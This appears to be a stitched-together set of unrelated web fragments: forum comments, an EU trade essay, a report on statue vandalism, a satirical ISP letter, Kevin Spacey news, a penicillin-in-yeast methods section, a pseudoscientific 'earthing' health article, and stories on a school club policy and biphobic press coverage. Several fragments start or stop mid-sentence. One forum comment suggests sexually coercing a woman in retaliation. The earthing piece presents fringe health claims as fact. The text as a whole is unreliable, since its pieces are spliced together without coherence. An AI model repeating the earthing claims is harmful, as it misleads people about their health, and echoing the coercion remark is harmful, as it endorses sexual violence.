To: Piquaboy
Here she is!
by 19 posted onby MJY1288 ( By Comparison...."Dingy" Harry Reid makes Tom Daschle look like a Statesman)
To: 26lemoncharlie
maybe a couple of big, strong guys ought to take HER and force HER to lick the toes (or other body parts) of some elderly man and see how SHE likes it?
oh! I forget, that would be a crime (or several).
by 20 posted onby camle (keep your mind open and somebody will fill it full of something for you.)
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FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonThe same people who criticize the EU for not being responsive to its people criticize it for — you guessed it!
The American Interest, usually an intelligent publication, has a rather simplistic take on the European Commission bowing to pressure to give national legislatures a say in ratifying a proposed trade deal with Canada.
Back in April, I reported here that lawmakers in tiny Wallonia, the French-speaking south of Belgium, threatened to derail the pact, which eliminates tariffs on almost all goods and services and is projected to raise transatlantic trade by more than €25 billion per year.
Now it looks like they might succeed.
Dilemma
There is a dilemma here for the European Commission.
It has the power to negotiate trade deals for the whole bloc and the treaty with Canada would clearly be a net positive.
But it also recognizes that when decisions are taken over the heads of ordinary Europeans and their representatives, it tends to aggravate Euroskepticism.
There is no easy solution to this.
For years, the commission has gone with option 1, assuming that the benefits of economic integration and freer trade would in the end be enough to silence the Euroskeptics.
Slow growth and the debt crises in the periphery of Europe have made those benefits less obvious, however, and now the commission has come down on returning power to the member states on an issue that many voters care about deeply (if for the wrong reasons — but that’s another discussion).
Out of touch
It’s the sort of decision you would expect The American Interest to endorse.
It, after all, has published many pieces over the years that argued European elites were growing out of touch with their voters, that resistance to immigration and other pressures of globalization should be taken seriously, that stubbornly laboring toward ever-closer union in the face of such adversity would certainly doom the project.
Yet it now criticizes the commission for taking a step back and giving anti-globalist sentiment a chance to be heard.
They’ll say this isn’t what they meant.
“Yes, of course the EU requires buy-in from national governments,” the magazine writes.
But where supranational organizations like the EU actually have a constructive role to play is in streamlining the adoption of deals like this one precisely so that they don’t have to go through dozens of national and subnational legislatures at the expense of lawmakers’ time and taxpayers’ money.
True enough, but you can’t have it both ways.
Tradeoff
You can’t on the one hand argue that EU hasn’t been responsive enough to its citizens, that it has been too centralizing (they even throw in the rules for curved bananas again — how many more times will we have to read about that?) and then take it to task for being, well, responsive to its citizens and decentralizing.
You either accept that some decisions are taken in Brussels even if that means some people will feel disenfranchised. Or you involve everyone in the decisionmaking process and accept that means very little decisions will ultimately be made.
The EU has struggled with this tradeoff for years. The people who were berating it from the outside for not listening to its citizens should probably have thought of that before they helped undermine the public’s trust in European institutions.Violent left-wing anarchists have announced a nationwide campaign to deface Christopher Columbus statues this coming Monday.
Five Christopher Columbus statues have already been vandalized in New York City in recent weeks, according to Far Left Watch. In one case last month, vandals defaced a "larger-than-life" statue of Columbus in Central Park, leaving blood-red paint on his hands, and scrawled, "Hate will not be tolerated" and “#SomethingsComing” on its pedestal.
What is coming appears to be a coordinated campaign to destroy monuments all across the country on Columbus Day.
The NYC-based antifa group Revolutionary Abolitionist Movement (RAM) made the announcement on Thursday, September 21, calling on antifa groups nationwide to “decorate” their neighborhoods.
According to Far Left Watch, RAM is "an extremely militant group that advocates for the violent redistribution of property" and for "the abolition of gender."
The militant group recently hosted an "Our Enemies in Blue" anti-police workshop at its branch in Brooklyn, NY.
RAM posted a video called "Against Columbus Day" on the antifa website It’s Going Down, showcasing destroyed monuments across the country and black-clad thugs strutting around menacingly to psycho synth music.
"The battles lines have been drawn and white supremacists are on notice," the anarchists wrote in a statement on the website. "White nationalist statues are crumbling all over the US as our collective revolutionary power is growing." |
, from an election of five permanent host cities (to represent the five interlocking rings that symbolize the Olympics) to a “decentered” games with events taking place at multiple sites around the world simultaneously.Did You Download 250 GBs of Music by the Crash Test Dummies?
Dear Sir or Madam:
This is a warning from your Internet Service Provider. Your IP address has been used to download and/or share copyrighted content, and accordingly your internet service is at risk of being suspended. We are obliged to remind you that the downloading and/or distribution of exclusively owned or licensed content infringes copyright.
We’ve been notified that in the past month, you have downloaded 250 GBs of music by Canadian alternative folk-rock band the Crash Test Dummies. We thought maybe it was an error on our end, but we looked into it further and confirmed that you did indeed download 250 GBs of music by the Crash Test Dummies, creators of the 1993 hit single “Mmm Mmm Mmm Mmm.” We did some research and it turns out the Crash Test Dummies’ entire catalog of music, even including side projects by the band’s members, should just barely weigh in at 1 GB, leading us to assume you either found and downloaded 249 GBs of unreleased music by the Crash Test Dummies (???), or downloaded their entire discography 250 times? We are baffled and fascinated. We have a few questions:
Did you think you were downloading something else?
Is it safe to assume that you, having downloaded over 200 GBs of Crash Test Dummies, only listen to Crash Test Dummies?
If you like Crash Test Dummies enough to download over 200 GBs of their music, shouldn’t you be buying it?
Can you give us just a general idea of what your personal life is like?
So was hearing “Mmm Mmm Mmm Mmm” for the first time the greatest moment of your life? We bet.
Are you one of the Crash Test Dummies’ parents?
So, like, should we check out the Crash Test Dummies?
Is there some kind of ironic resurgence of Crash Test Dummies going on? We are all in our mid-40s here.
We’re wondering what you must look like and we literally can’t picture it. Can you respond to this email with an attached picture of yourself?
Would you maybe want us to send you some recommendations for other good music or are you good with the Crash Test Dummies?
Seriously why do you have 250 GBs of music by Canadian alternative folk-rock band the Crash Test Dummies in your possession?
What are the file sizes on these mp3s you’re downloading? Like 6 GB each?
In cases of extreme copyright infringement, the accused’s hard drive may be seized by the proper authority. If that were to happen, would they find even more Crash Test Dummies?
Is owning 250 GBs of Crash Test Dummies music something you openly tell people about or do you try to keep it on the down low?
Who do you think about at night before you fall asleep?
Do the Crash Test Dummies still tour and if not how are you dealing with that?
Say hypothetically you were forced to choose your favorite Crash Test Dummies’ song, and whichever one you pick, all the other ones disappear forever—would you lose your shit or what?
What is your favorite Crash Test Dummies lyric that isn’t“Mmm mmm mmm mmm/Mmm mmm mmm mmm/Mmm?”
We absolutely don’t want to get too pushy or throw around accusations or anything, but you’re not going to… kill the Crash Test Dummies are you?
Wait, did you maybe catch some sort of computer virus that automatically downloaded 250 GBs of music by the Crash Test Dummies onto your hard drive? Do you even know that it’s on there?
Again, any details about your personal life would really intrigue us. Marital status, hobbies (besides listening to the Crash Test Dummies), etc.
We remind you once more that we will terminate your internet service if piracy of copyrighted content is traced to your IP again in the future. We don’t anticipate this being a problem because we assume 250 GBs of Crash Test Dummies has to be all of it, right?
We apologize if this letter reads as judgmental.Days after allegations of unwanted sexual advances in 1986 by Kevin Spacey against then-14-year-old Anthony Rapp led to the indefinite suspension of production on House of Cards, producers Media Rights Capital and Netflix both confirmed today there was at least one investigated incident with the Oscar winner on the set of the political drama.
Though Netflix says it “is not aware of any other incidents involving Kevin Spacey on-set,” MRC has set up an an “anonymous complaint hotline, crisis counselors, and sexual harassment legal advisors for the crew” of the multiple Emmy nominated series. “MRC will continue to thoroughly investigate all current claims and any new claims that are formally brought to our attention,” they added.
That’s now, but it turns out there was a claim during the making of Season 1 of House of Cards.
“During our first year of production in 2012, someone on the crew shared a complaint about a specific remark and gesture made by Kevin Spacey,” MRC said Thursday after CNN unveiled several claims by HoC crew members about sexually harassing and aggressive behavior by the actor. “Immediate action was taken following our review of the situation and we are confident the issue was resolved promptly to the satisfaction of all involved,” the producing and financing company added.
In remarks that now seem odd, House of Cards creator and former showrunner Beau Willimon said on October 30 on social media that he “neither witnessed nor was aware of any inappropriate behavior on set or off” during the several seasons he and star Spacey worked together.
In the context of House of Cards now seemingly over even before the Season 6 conclusion was announced the day after Star Trek Discovery actor Rapp’s claims went public on October 29, another bombshell is that Spacey went through a “training” session on such inappropriate behavior – a fact never reveled until now by either MRC or Netflix. “Mr. Spacey willingly participated in a training process and since that time MRC has not been made aware of any other complaints involving Mr. Spacey,” MRC said in their statement.
In a statement of their own on Thursday, Netflix confirmed their recent knowledge of the incident as the fallout from Rapp’s accusations grew. “When the allegations broke about Kevin Spacey on Sunday night, in conjunction with MRC, we sent a representative to set on Monday morning,” the streaming service asserts today. “Netflix was just made aware of one incident, five years ago, that we were informed was resolved swiftly.”
Mere hours after Rapp’s claims went public, Spacey issued a statement of his own saying he does not recall the incident over 30-years ago that supposedly occurred in his NYC apartment but that he was “horrified” by the story. That apology of sorts was overshadowed and tainted in the minds of many when the HoC actor and EP also used the occasion to announce that he now chooses “to live as a gay man.”
Just over 12-hours later, a “deeply troubled” Netflix officially pulled the plug on any more seasons of HoC beyond a Season 6 next year. Then that died on the vine within 24-hours when the streamer then announced it had shut production down on the Maryland-based show that once was its crown jewel.
See the full statements from MRC and Netflix below:Hey friends!
We have a big announcement — next week, PJ and Alex are going to conduct an experiment and we want you to help us out.
On Monday, October 10th, at 10 a.m. EST, PJ and Alex will be giving out a phone number that will forward to both of their cell phones.
They will be taking every phone call they get for 48 hours, any time, day or night.
You can call them at any time, for any reason. Lonely? Call them. Want someone to prank? Call them. Want to sing them a song? Call them. They will answer. And tell your friends to call too — even, and especially, people who don’t listen to the show.
We want to see what happens when you open a line to the internet and invite anyone to use it.
We’ll be posting the number on social media on Monday morning, and we’ll also probably send another newsletter. So be sure to keep an eye out. We look forward to hearing from you.Free Parents Plan Added For Children With Special Needs
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Hello. My name is Christopher Binns, the Founder and CEO of Bizstim. My son, Nolan Binns, was diagnosed with Autism when he was 2.5 years old. Since his diagnosis, our family has driven all across the province traversing from therapist to therapist; we've employed multiple speech therapists, occupational therapists, behavioral therapists, and psychologists. Keeping all of the appointments, reports, and schedules in order is a daunting task. In our case, the local government provides us with some support for Nolan but we are expected to show itemized reports for additional funds. It is my hope that parents will find this software helpful in managing their child's needs.
Here are some key features you can expect from the software:
Appointment Scheduling
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Exporting information to excel, such as; therapist wages and expenses
Parents can give login access to therapists to leave assessments, review their sessions, and past wages
Robust permission control allows a lot of freedom to make information available to service providers if parents so choose
The software organizes therapy information and makes for improved lines of communication between participants. Improved communication leads to more efficient care for children
If you would like to try the software, please register an account. The Parents Plan is completely free.
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Best wishes,
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YOU MAY ALSO LIKE:Construction of strains
Strain Sc.A1 was made by replacing the TRP1 gene in BY4741 with the pcbAB-npgA segment from the pESC-npgA-pcbAB plasmid from a previous study12. A URA3 gene from K. lactis was integrated upstream of the pcbAB gene to allow genomic integration and the use of media without uracil was used to enable comparison of the ACV production of this strain with that of a BY4741 strain transformed with the ura-marked pESC-npgA-pcbAB plasmid. A full genetic map of the altered TRP1 locus is provided as an annotated Genbank file in Supplementary Data 1. The PEX5 deletion strain was constructed by CRISPR-enhanced recombination. Linear fragments encoding Cas9, a gRNA retargeted to PEX5 and an overlap extension PCR product encoding a whole-CDS deletion of PEX5 were co-transformed into BY4741 following the protocol outlined at benchling.com/pub/ellis-crispr-tools. Oligonucleotides used retarget the gRNA and generate the deletion template PCR product are listed in the Supplementary Information. To change the native P. chrysogenum Peroxisome Targeting Sequences (PTS1) to those of S. cerevisiae for the pclA and penDE genes, the native C-terminal tripeptide SKI for pclA and ARL for penDE were both changed to the S. cerevisiae PTS1 tripeptide SKL.
All other strains used in all experiments were constructed by transforming plasmids into BY4741 or into the Δpex5 strain. These are specified in Supplementary Table 4. Annotated Genbank files of all plasmids are provided in Supplementary Data 1.
Growth of strains for ACV and penicillin production
For all ACV and penicillin producing experiments, cultures were prepared in the following manner. After initial construction, strains were stored in 25% glycerol stocks at −80 °C. For recovery of strains from glycerol stocks, strains were streaked onto the appropriate selective media agar plates and incubated at 30 °C for 2–3 days. Single colonies were picked using a pipette tip and used to innoculate 4 ml overnight cultures in synthetic complete media minus the appropriate amino acids for selective pressure with either glucose or galactose as the carbon source. There were no secondary precultures. For plate based assays, cells were grown overnight at 700 r.p.m. at 30 °C. For 50 ml falcon tube based assays, cells were grown at 225 r.p.m. at 30 °C. Overnight cultures were then back-diluted into production media and grown at 20 °C (216 r.p.m.) for 20 h (for plate based assays) or until the OD600 reached between 0.6 and 0.8 (for 50 ml falcon tube assays). Supplementary Table 5 details the composition of production media for different experiments.
Fluorescence microscopy
Microscopy for Supplementary Fig. 1 was carried out with a Nikon Eclipse Ti, using the NIS Elements AR software. The objective was set at × 60. Slides were fixed with yeast cells to visualize. The excitation wavelengths for detection of Venus, mRuby2 and mTurquoise2 fluorescence were 535, 590 and 535 nM, respectively.
Preparation of standards and samples for LCMS
For all LCMS experiments, standards were prepared as follows. ACV standards were prepared by dissolving ACV (BACHEM H-4204) in water to a concentration of 10 ng μl−1 and making three 10-fold dilutions. This gave four standards with concentrations of 10 ng μl−1, 1 ng μl−1; 100 pg μl−1; 10 pg μl−1. Benzylpenicillin standards were prepared by dissolving the sodium salt of penicillin G (Sigma P3032) in water. The same concentrations were used for benzylpenicillin as were used for ACV.
Cellular extracts for LCMS for the data in Fig. 1 were prepared as follows: 30 ml of cell culture was collected at an OD600 of 0.6. Cell culture was centrifuged at 7,000g for 10 min, and supernatant was either kept for LCMS (as in Fig. 1d) or discarded. The cell pellet was resuspended in 100 μl methanol. A volume of 50 μl of the resuspension was transferred to a microcentrifuge tube with 25 μl of glass beads (Sigma G8772-100G) on ice. The tube was then vortexed for 30 s and then placed on ice for 30 s, and these two steps were repeated three times (for a total of four sets of vortexing and incubation on ice). The tube was then centrifuged at 12,000g for 30 min, and 40 μl of supernatant was aliquoted to a separate tube for LCMS measurement. Supernatants for LCMS from cultures grown in 96 well plates in Fig. 2 were obtained by centrifuging plates at 3,000g for 30 min.
Liquid chromatography mass spectrometry
An LC/MS/MS method was developed for the measurement of ACV and benzylpenicillin, using an Agilent 1290 LC and 6550 quadrupole time-of-flight (Q-ToF) mass spectrometer with electrospray ionization (Santa Clara, CA). The LC column used was an Agilent Zorbax Extend C-18, 2.1 × 50 mm and 1.8 μm particle size. The LC buffers were 0.1% formic acid in water and 0.1% formic acid in acetonitrile (v/v).
The gradient elution method is detailed in Supplementary Table 6. Quantification was based on the LC retention times of standards and the area of accurately measured diagnostic fragment ion for each molecule (Supplementary Table 6). The protonated molecules of each analyte [M+H]+, were targeted and subjected to collision induced dissociation (collision energy 16 eV), with product ions accumulated throughout the analysis. Solutions of benzylpenicillin and ACV standards in water were used to generate calibration curves.
The linear range of the method was determined by injecting standards over a range of concentrations. The lower limit of detection was determined by the amount a sample resulting in a peak with a signal-to-noise of 3:1. The lower limit of quantification was taken to be the concentration of analyte that produced a signal-to-noise of 10:1. The lower limit of detection and lower limit of quantification for benzylpenicillin were found to be on-column injections of 5 and 20 pg, respectively. Further specifications are found in Supplementary Table 6. All mass spectra are included as Supplementary Data 2.
Calculation of ACV and benzylpenicillin yield from LCMS data
For both ACV and benzylpenicillin, pure chemical standards were run at the following concentrations: 10 ng ml−1, 100 ng ml−1, 10 μg ml−1, 100 μg ml−1. The corresponding LCMS counts for these standards were plotted against the concentrations of the standards and the linear range of the resulting plot was used to construct a line of best fit in excel. The corresponding line equation was used to obtain values for the yield in ng ml−1 of ACV and benzylpenicillin from experimental samples based on the LCMS counts for these molecules.
Promoter screens for optimizing ACV to penicillin conversion
The assembly of multigene (pcbC, pclA, penDE) plasmids with ten randomized promoters (Supplementary Table 7) was split into two stages: assembly of single-gene constructs, then assembly of multigene constructs. For single-gene construct assembly, an equimolar mix of all ten promoters was made with a final concentration of 50 fM (referred to as ‘promoter mix’, Supplementary Table 9). This was used as a type 2 plasmid according to the yeast toolkit specification17. Then, Golden Gate reactions were set up with the following parts according to the Yeast Toolkit cassette plasmid golden gate assembly protocol (Supplementary Table 9).
Each of the three reactions were transformed into E. coli, and for each of the three transformation plates, transformant colonies were mixed together into a single overnight culture each. From each of the three resulting cultures a plasmid library was prepared, of which an aliquot was used to construct a pooled sample for nanopore sequencing (see nanopore sequencing section). The three resulting single-gene plasmid libraries were used to set up a single multigene golden gate reaction according to the yeast toolkit protocol (Supplementary Table 9).
This Golden Gate reaction was transformed into E. coli, and all transformant colonies were mixed together into a single overnight culture. A multigene plasmid library was prepared from this overnight culture. Part of this plasmid library was prepared for nanopore sequencing (see nanopore sequencing section), while 4 μg was used to transform into S. cerevisiae strain Sc.A2. The resulting transformants were screened by LCMS for the production of benzylpenicillin (Supplementary Table 2) and the promoter regions of the multigene plasmids from producer strains were identified by Sanger sequencing.
A second promoter screen was carried out to test the suitability of the S. pyogenes growth inhibition assay for identifying strains with improved benzylpenicillin yield. Strains were constructed in analogous fashion to that described above, but with different promoters (Supplementary Tables 10 and 11).
Nanopore sequencing of library construction
To enrich for the penicillin pathway assembly DNA and remove assembly vector backbone DNA, the multigene assembly library was digested with EcoRI and AlwNI. Restriction digest products ranging from 5,616 to 6,117 bp were isolated by agarose gel electrophoresis and purified using a QIAquick gel extraction kit (Qiagen). The single pathway gene assembly libraries were similarly enriched by digestion with BsmBI and AlwnI. Restriction digest products ranging from 2,062 to 2,229, 2,549 to 2,716 and 1,885 to 2,052 bp for the pcbC, pclA and penDE assemblies, respectively, were purified.
Enriched assembly DNA for the multigene and single gene assemblies was quantified on a Qubit 2.0 fluorometer (Thermo Fisher Scientific) using a Qubit dsDNA HS Assay Kit (Thermo Fisher Scientific). The four samples were combined to a give an equimolar mix (assuming a molecular weight for each assembly based on the mean promoter length) with a total DNA content of 2.6 μg in 45 μl dH 2 O.
DNA underwent end repair using NEBNext FFPE DNA Repair Mix (M6630, New England Biolabs) according to the manufacturer’s instructions. The repaired DNA was recovered using Agincourt AMPure XP beads (A63880, Beckman Coulter), washed twice in 200 μl 70% ethanol and eluted in 46 μl dH 2 O. DNA was then dA-tailed using NEBNext Ultra II End Repair/dA-Tailing Module (E7546, New England Biolabs) according to the manufacturer’s instructions and recovered using Agincourt AMPure XP beads as before, eluting in 30 μl dH 2 O.
The dA-tailed library DNA was then processed using Blunt/TA Ligase Master Mix (M0367, New England Biolabs) and a Nanopore Sequencing Kit (SQK-NSK007, Oxford Nanopore Technologies) according the manufacturer’s instructions to ligate adaptors and tethers to the library. 50 μl Dynabeads MyOne Streptavidin C1 beads were washed twice in buffer BBB (Nanopore Sequencing Kit) and then resuspended in 100 μl BBB. These beads were then added to the processed DNA sample and mixed for 5 min at room temperature. Beads were washed twice with 150 μl BBB before eluting the sample in 25 μl ELB (Nanopore Sequencing Kit). The library was quantified by Qubit as before and yielded a total of 253 ng.
Nanopore sequencing
A fresh MinION R7 Flow Cell Mk I (FLO-MIN104, Oxford Nanopore Technologies) was loaded into a MinION MK I (MIN-MAP002, Oxford Nanopore Technologies) and primed using a Nanopore Sequencing Kit according to the manufacturer’s instructions. The sequencing mix was generated by combining 75 μl RNB, 65 μl NFW and 4 μl Fuel Mix (Nanopore sequencing kit) before adding 6 μl of the processed DNA library. This sequencing mix was loaded into the flow cell and sequenced using the 48 h sequencing script on MinKNOW (Oxford Nanopore Technologies). After 18 h, the script was stopped and a fresh sequencing mix was prepared and loaded into the flow cell. The 48 h sequencing script was then restarted. This reloading process was repeated after a further 4.5 h. The sequencing script was stopped once read acquisition had slowed to less than 1 successful read in a 5 min period.
Analysis of nanopore sequencing data
Oxford Nanopore’s cloud-based Metrichor application ‘2D Basecalling for SQK-MAP006 v1.69’ was used to basecall data from a MinION run that used R7.3 chemistry. Poretools30 (https://github.com/arq5x/poretools) was used to extract sequence files and the program lastal v658 (http://last.cbrc.jp/) was used to align the 2D reads to a database of all the potential promoters and all combined CDS+terminators using options -s2 -T0 -Q0 -a1 -fTAB -e50*. To remove reads corresponding to other DNA sequences present, the database was also populated with sequences for AmpRTerm_AmpR_AmpRProm (part of the single assembly plasmid backbone), His3Prom_His3Term_2Micron_KanRTerm_KanR_KanRProm (part of the multiple assembly plasmid backbone), ColE1 (part of both the single and multiple assembly plasmid backbone), and the lambda phage whole genome.
To build up a picture of which part of a plasmid each read represented, a custom-built script ordered alignments first by read, then by read coordinates. It then identified reads as originating from a particular plasmid by looking at plasmid regions in the database that each read had aligned to. These identified reads were required to be a similar length (within 15%) to the sum of lengths of regions of plasmids that they were aligned to. The script identified digested multiple gene assemblies, digested single gene assemblies and, due to reduced function of BsmBI, non-digested single assemblies. To be identified as a digested single gene assembly, the read was also required to start and finish within 50 bp of the start and end of the first and final regions respectively. This minimized the chance of misidentifying a multigene assembly as a single-gene assembly. The promoters at each position within these identified reads were recorded.
*[-s2 use both query strands. -T0 local alignment. -Q0 use fasta as input. -a1 gap existence cost of 1. -fTAB tabular output -e50 minimum gap alignment score of 50.]
S. pyogenes growth inhibition assays
An overnight culture of S. pyogenes (H584, M1 type) was grown for 24 h at 37 °C (5% CO 2 ) in Todd Hewitt Broth. This culture was diluted in 10 × Todd Hewitt Broth to an optical density of OD600 0.2. In separate wells of an optically transparent 96-well plate (VWR 3596) 10 μl of this solution was added to 90 μl of either a known concentration of benzylpenicillin dissolved in 0.25 mM phenylacetic acid or 90 μl of spent culture media from Sc.P2 or Sc.P2x or other potential benzylpenicillin-producing strains grown in production conditions. Sc.P2x is a variant of Sc.P2 known to not produce benzylpenicillin due an inactive pcbAB caused by mutation in the coding region of the gene’s terminal module region. OD600 values from the bacterial cultures were then measured again after overnight growth at 37 °C. The percentage growth inhibition caused by spent culture media for each strain was calculated by dividing the fold-change in OD600 overnight caused by that spent culture media by the overnight OD600 fold-change caused by the control media (from Sc.P2x cells) and subtracting this from 100%.
Code availability
Custom code for assigning nanopore sequencing reads to promoters in the first promoter screen (Fig. 2) is provided as part of Supplementary Data 3.
Data availability
Plasmid construct sequences are provided in Supplementary Data 1, LCMS spectra are available in Supplementary Data 2 and nanopore sequencing files are provided as Supplementary Data 3.The picture below represents Improved facial circulation (right image) after 20 minutes of grounding, as documented by a Speckle Contrast La...
http://humansarefree.com/2017/08/studies-show-what-happens-to-human-body.html
The picture below represents Improved facial circulation (right image) after 20 minutes of grounding, as documented by a Speckle Contrast Laser Imager (dark blue=lowest circulation; dark red=highest circulation).
Image Source: Scientific Research Publishing
The Science
How You Can Get Grounded
Schumann Resonance
Grounding, or ‘earthing,’ as some people call it, involves placing your feet directly on the ground without shoes or socks as a barrier. The logic behind this practice relates to the intense negative charge carried by the Earth. This charge is electron-rich, theoretically serving as a good supply of antioxidants and free-radical destroying electrons.Dr. James Oschman, a PhD in biology from the University of Pittsburgh and an expert in the field of energy medicine, notes: Subjective reports that walking barefoot on the Earth enhances health and provides feelings of well-being can be found in the literature and practices of diverse cultures from around the world. For a variety of reasons, many individuals are reluctant to walk outside barefoot, unless they are on holiday at the beach. ( source It makes sense if you think about it; in our most natural state, we wouldn’t really be wearing any sort of cover on our feet. Putting your feet on the ground enables you to absorb large amounts of negative electrons through the soles of your feet which, in turn, can help to maintain your body at the same negatively charged electrical potential as the Earth.A study published a couple of years ago in the Journal of Environmental and Public Health titled “ Earthing: Health Implications of Reconnecting the Human Body to the Earth’s Surface Electrons ” postulates that earthing could represent a potential treatment/solution to a variety of chronic degenerative diseases.It concluded that simple contact with the Earth, through being either outside barefoot or indoors connected to grounded conductive systems, could serve as a natural and “profoundly effective environmental strategy” against chronic stress, ANS dysfunction, inflammation, pain, poor sleep, disturbed HRV, hyper-coagulable blood, and many common health disorders, including cardiovascular disease.The study concludes:The research done to date supports the concept that grounding or earthing the human body may be an essential element in the health equation along with sunshine, clean air and water, nutritious food, and physical activity. ( source Another study, conducted by the Department of Neurosurgery from the Military Clinical Hospital in Powstancow Warszawy, along with other affiliates like the Poland Medical University, found that blood urea concentrations are lower in subjects who are earthed (connected to the earth potential with the use of copper wire) during physical exercise and that earthing during exercise resulted in improved exercise recovery.It concluded:These results suggest that earthing during exercise inhibits hepatic protein catabolism or increases renal urea excretion. Earthing during exercise affects protein metabolism, resulting in a positive nitrogen balance. This phenomenon has fundamental importance in understanding human metabolic processes and may have implications in training programs for athletes. ( source Inspiration and all our best content, straight to your inbox.A study published last year from the Developmental and Cell Biology Department at the University of California at Irvine found that grounding the human body improves facial blood flow regulation. ( source As mentioned earlier, studies have found grounding to reduce blood viscosity, which is a major factor in cardiovascular disease. ( source One study, published in the Journal of Alternative and Complimentary Medicine, even concluded that earthing may be “the primary factor regulating the endocrine and nervous system.” ( source According to a review published in the Journal of Inflammation Research: ( source Grounding reduces or even prevents the cardinal signs of inflammation following injury: redness, heat, swelling, pain, and loss of function ( Figures 1 and 2 ). Rapid resolution of painful chronic inflammation was confirmed in 20 case studies using medical infrared imaging ( Figure 3 )....Our main hypothesis is that connecting the body to the Earth enables free electrons from the Earth’s surface to spread over and into the body, where they can have antioxidant effects.Specifically, we suggest that mobile electrons create an antioxidant microenvironment around the injury repair field, slowing or preventing reactive oxygen species (ROS) delivered by the oxidative burst from causing “collateral damage” to healthy tissue, and preventing or reducing the formation of the so-called “inflammatory barricade”.We also hypothesize that electrons from the Earth can prevent or resolve so-called “silent” or “smoldering” inflammation. ( source There seem to be dozens of studies which confirm the physiological effects of grounding, which include anything from anti-aging and heart health benefits to improved sleep and much, much more.“This simple process of grounding is one of the most potent antioxidants we know of. Grounding has been shown to relieve pain, reduce inflammation, improve sleep, enhance well being, and much, much more. Unfortunately, many living in developed countries are rarely grounded anymore.” – Dr Jospeh Mercola ( source When grounded, the diurnal rhythm of the stress hormone, cortisol, begins to normalize. Cortisol is connected to your body’s stress response and helps control blood sugar levels, regulates metabolism, helps reduce inflammation, and assists with memory formulation.The figure below shows the results of a study that examined the effects of being grounded while sleeping over the course of eight weeks.We all spend most of our time walking on the earth wearing shoes with rubber or plastic soles. These materials are insulators, used to insulate electrical wires. They also disconnect you from the Earth’s electron flow, which we are supposed to (naturally) be connected to. If you wear leather-soled shoes (or vegan leather!) or walk barefoot on sand, grass, soil, concrete, or ceramic tile, you will be grounded. If you walk on asphalt, wood, rubber, plastic, vinyl, tar, or tarmac you will not be grounded.So the next time you are outside, take off your shoes! You can also use conductive systems while sleeping, working, or spending time indoors for a more convenient and lifestyle-friendly approach.In 1952 German physicist Professor W.O. Schumann, of the Technical University of Munich, began attempting to answer whether or not the earth itself has a frequency — a pulse. His assumption about the existence of this frequency came from his understanding that when a sphere exists inside of another sphere an electrical tension is created.Since the negatively charged earth exists inside the positively charged ionosphere, there must be tension between the two, giving the earth a specific frequency. Following his assumptions, through a series of calculations he was able to land upon a frequency he believed was the pulse of the earth. This frequency was 10hz.It wasn’t until 1954 that Schumann teamed up with another scientist (Herbert König) and confirmed that the resonance of the earth maintained a frequency of 7.83 Hz. This discovery was later tested out by several scientists and verified. Since then, The Schumann Resonance has been the accepted term used scientifically when one is looking to describe or measure the pulse or heartbeat of the earth.Even though the existence of the Schumann Resonance is an established scientific fact, there remain few scientists who fully understand the important relationship between this frequency and life on the planet.I thought I would include this information here because I feel it’s relevant to this article. You can continue reading it HERERankin County School District Central Office (Photo: Google maps)
Rankin County school board members approved a change in the district's school club policy on Wednesday in an attempt to prevent students from creating what Superintendent Lynn Weathersby referred to as "gay clubs."
Weathersby brought up the issue at Wednesday's school board meeting, making clear his intentions to limit such organizations in Rankin County schools.
"I talked to (board attorney) Freddie (Harrell) and several administrators about what we could legally do to limit organizations like that on campus that we don't want to endorse and don't want," Weathersby said.
Although school board members and officials said they were not aware of any attempt to form a club in the district, Brandon High School theatre teacher Janice Weaver said she was approached by a student in December who expressed a desire to create a gay-straight alliance (GSA), or a student-led, student-organized club aimed at combating anti-gay discrimination and bullying in schools. Weaver said the student submitted the proposal for the club to school administrators.
Currently, students at several schools in the state, including Ridgeland High School in Madison County, have created such clubs or are working to form them.
Weaver, who agreed to be the sponsor for the club, emphasized she had no knowledge whether district officials and school board members were aware of the student's proposal.
Calls to Brandon High School principal Buddy Bailey were not returned Wednesday.
In the school board meeting on Wednesday, Weathersby said he spoke with the board attorney and other administrators and learned that the best strategy for limiting organizations would be to require parents to sign a consent form allowing their children to participate in the club.
School board attorney Freddie Harrell echoed Weathersby, saying a gay club might violate educational standards and principles adopted by the school district such as abstinence-only sexual education.
Newly appointed board member Ira Singleton asked Harrell what would happen if parents did consent to their children participating in such a club. Harrell responded that at that time, it would be up to the school's principal to decide whether the club meets school requirements.
The board approved the new policy.
When questioned after the meeting, both Harrell and Weathersby emphasized the change in policy requiring parental consent applies to all student clubs.
"This is not directed to any particular club but to organizations in general," Weathersby said, noting that the beginning of a new semester is a good time to review school policies and make appropriate changes.
After initial reports of the school board adopting the policy change surfaced, the Human Rights Campaign and the American Civil Liberties Union of Mississippi voiced their concerns, each noting that federal law prohibits any school that receives federal funds to ban students from conducting a meeting in a limited open forum on the basis of religious, political or philosophical speech.
A limited open forum is defined as a time when a school "grants an offering or opportunity for one or more noncurriculum related student groups to meet on school premises during the noninstructional time."
In a letter to school district officials, the ACLU pointed to several rulings by federal judges prohibiting school districts from banning the formation of gay-straight alliances, or student clubs designed to encourage a safe environment for LGBT students and discourage bullying and anti-gay harassment.
HRC Mississippi Director Rob Hill said in a statement that the policy "sends a harmful message to LGBT students in Rankin County that they are not welcomed within their classrooms, at school functions or on the bus.
"The board |
breakup, and another asked if “Depp’s bisexual wife” was preparing to “take him for £35M.” Out women like Cara Delevingne, iO Tillet Wright, and Tasya van Ree were also specifically named by several outlets as contributing factors in the break up.
Peter Ford of Australia’s Channel 7 The Morning Show was even more explicit in his condemnation of Heard’s sexuality, saying in a segment discussing how the allegations might impact the opening-weekend box office for Depp’s film Alice Through the Looking Glass, “I probably shouldn’t say this, I’ll probably get in trouble, but…it’s not wise to marry a bisexual. This is what Johnny Depp has done here, with Amber Heard, and she was in a very legally committed relationship, a marriage, a legal marriage, to another woman when Johnny came along, and she decided to travel across to the other side.”
Ford later apologized, saying “what has been explained to me is, just because a person is bisexual, if they commit into a relationship the evidence is there that there’s no more or less chance that it’s going to fail, just because one person in the relationship is bisexual.”
.@mrpford addresses his comments from yesterday’s story surrounding Johnny Depp and Amber Heard. #TMS7 https://t.co/XvgQP0meOL — The Morning Show (@morningshowon7) May 30, 2016
The biphobia demonstrated in multiple publications over the past few days is inexcusable, regardless of what transpired in this specific marriage.
